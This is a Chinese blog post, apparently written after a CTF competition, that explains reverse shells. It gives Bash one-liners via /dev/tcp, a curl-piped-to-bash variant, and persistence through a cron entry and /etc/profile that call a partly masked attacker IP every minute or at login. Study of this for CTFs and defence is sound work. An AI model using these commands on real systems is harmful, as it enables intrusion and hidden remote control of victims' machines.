0x00 前言

这几天做ImaginaryCTF,正好用到了反弹shell,介于对该技法的掌握并不深刻,便写下这篇博客,冀以理解原理,拓展思维。

0x01 基础

文件描述符

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

正向连接

假设攻击者有A服务器,攻占了受害者的B服务器。那么攻击者让A服务器去连接B服务器,即A->B,称之为正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

并不是所有情况都允许正向连接,那么什么情况下需要进行反向连接,也就是反弹sell呢?

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
  • ……

举一个最简单的情况,如果你能在在前端执行系统命令,但是服务端却没有回显,那么我们是不是希望输出流不要通过服务端,而是流向我们的服务器,这就是反弹sell的作用:

反弹shell改变了输入流和输出流,使getshell更加地灵活!

反弹shell的方法有很多,下面简单介绍几种。

0x02 利用Bash反弹shell

基础反弹

这个方法非常简单普适,具体命令如下:

1
bash -i >& /dev/tcp/IP/port 0>&1

如果当前shell环境不是bash,可以先构造bash环境:

1
bash -c "bash -i >& /dev/tcp/IP/port 0>&1"

对bash反弹一句话进行拆分说明:

命令 命令解释
bash -i 产生一个bash交互环境
> & 将标准输出和标准错误输出重定向到同一个位置
/dev/tcp/IP/port Linux万物皆文件,这段命令的意思是让目标主机与攻击机建立一个tcp连接。
0>&1 将标准输入重定向到标准输出的位置

总结一下:

在bash交互环境下,把目标主机的输出流重定向到攻击机,再把输入流重定向到输出流的地址,也就是重定向到攻击机。

curl反弹

比基础反弹的payload简单一点,但是需要对攻击机有一点要求。

攻击机

开一个端口,写下index.html(或index.php),内容:

1
bash -i >& /dev/tcp/IP/port 0>&1

靶机

指令:

1
curl IP:port | bash

这里为什么要加bash呢:

Bash 是一种 Unix shell 和命令语言解释器。它会执行接收到的输入内容。

curl后会得到一个字符串:bash -i >& /dev/tcp/IP/port 0>&1bash接收curl的结果也就是该字符串,并执行。

小结

万变不离其宗本质上,只要让靶机执行一个指令(反弹shell一句话)即可。那么怎么让靶机执行这个指令,就有很多种方法。可以直接执行,也可以读取字符串再执行等等。

再深入一点,看问题需要看到本质!上面那段话,就是我们抓住了本质,才有那么多方法。如果只是想着在前端直接执行,那么很多方法是想不到的,同时很多题也是做不了的。

定时反弹

简单来说,就是将反弹shell一句话写入定时任务文件

要知道该文件的位置,必须先知道目标主机当前的用户名。如果当前用户名是Pax,对于不同的操作系统该文件路径如下:

  • centos: /var/spool/cron/Pax
  • Debian/Ubuntu:/var/spool/cron/crontabs/Pax

在该文件写入以下内容:

1
2
3
*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1

#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

*/1 * * * *: 这是cron的时间格式,表示每分钟执行一次任务。格式为分钟 小时 日期 月份 星期

写入/etc/profile

/etc/profile 是一个在Linux系统中用于设置系统范围内环境变量和启动脚本的配置文件。它通常在每个用户登录时由系统读取和执行

将反弹shell一句话写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

1
2
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当有用户连接该主机时,就会自动执行该命令,成功获得目标机的shell

小结

如果你能看到这里,那我愿意说出自己的感悟。

本节采用的反弹技术,无一例外都是希望目标主机可以执行反弹shell一句话。再深入一点,每个方法都是希望目标主机可以执行指令。目标主机可以执行指令的点有很多,哪怕不能执行本机文件,我们还能构造异地文件让目标主机读取。

本节方法的本质就是让目标文件执行指令。看到本质,困难就迎刃而解。

0x03 未完成

剩下的有空再写,好累的说······